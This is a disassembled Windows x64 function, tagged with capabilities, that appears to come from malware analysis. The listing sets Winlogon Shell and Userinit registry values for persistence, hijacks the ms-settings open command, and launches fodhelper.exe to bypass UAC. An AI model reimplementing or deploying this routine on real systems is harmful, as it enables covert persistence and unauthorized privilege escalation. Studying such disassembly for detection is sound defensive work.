Function at 0x140001250
Capabilities:
Create process on windows
Persist via default file association registry key
Persist via winlogon helper dll registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3c0]
sub rsp, 0x4c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3b0], rax
xor edi, edi
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x20], rdi
mov qword [rsp + 0x58], rdi
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1400012bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Error_getting_module_file_name:__lu_n
jmp 0x1400015c0
lea r9, [rbp - 0x10]
lea r8, str.explorer.exe__s
mov edx, 0x136
lea rcx, [rbp + 0x100]
call fcn.140001bc0
lea r9, [rbp - 0x10]
lea r8, str.C:WindowsSystem32userinit.exe__s
mov edx, 0x168
lea rcx, [rbp + 0x240]
call fcn.140001bc0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400015b9
lea rcx, [rbp + 0x100]
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140001333
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x100]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rax, [rbp + 0x240]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001370
inc ebx
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x240]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Userinit
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x18]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x14000140b
lea rcx, str.Failed_to_open_or_create_reg_key_n
call fcn.140001010
lea rcx, str.Failed_to_elevate_privileges._n
jmp 0x1400015ce
mov dword [rsp + 0x28], 0x28
lea rax, str.cmd__c_start_C:WindowsSystem32cmd.exe
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rbx, [0x1400033e0]
mov rdx, rbx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140001464
lea rcx, str.Failed_to_set_reg_value_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.Failed_to_elevate_privileges._n
jmp 0x1400015ce
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.DelegateExecute
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140001441
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x60], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
mov qword [rbp - 0x3c], rax
mov dword [rbp - 0x34], eax
lea rax, str.runas
mov qword [rsp + 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x68], rdi
mov dword [rbp - 0x70], 1
lea rcx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001528
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.The_user_refused_to_allow_privileges_elevation_n
lea rcx, str.Error_code:__ld_n
cmp eax, 0x4c7
cmove rcx, rdx
mov edx, eax
call fcn.140001010
lea rcx, str.Failed_to_elevate_privileges._n
jmp 0x1400015ce
lea rcx, str.Successfully_created_process_n
call fcn.140001010
mov ecx, 8
call fcn.140001c50
lea rcx, vtable.ExampleModule.0
mov qword [rax], rcx
mov qword [rbp - 0x18], rdi
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x50], rcx
mov rdx, qword [rbp - 0x28]
cmp rdx, qword [rbp - 0x20]
je 0x140001574
mov qword [rsp + 0x58], rdi
mov qword [rdx], rax
add qword [rbp - 0x28], 8
jmp 0x140001583
lea r8, [rsp + 0x58]
lea rcx, [rbp - 0x30]
call fcn.140001980
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140001598
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rsi, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x30]
cmp rbx, rsi
je 0x1400015d8
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
add rbx, 8
cmp rbx, rsi
jne 0x1400015a5
jmp 0x1400015d8
lea rcx, str.Error_opening_registry_key:__lu_n
mov edx, eax
call fcn.140001010
lea rcx, str.Failed_to_set_startup_registry_keys._n
call fcn.140001010
mov edi, 1
lea rcx, [rbp - 0x30]
call fcn.140001640
mov eax, edi
mov rcx, qword [rbp + 0x3b0]
xor rcx, rsp
call fcn.140001c30
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret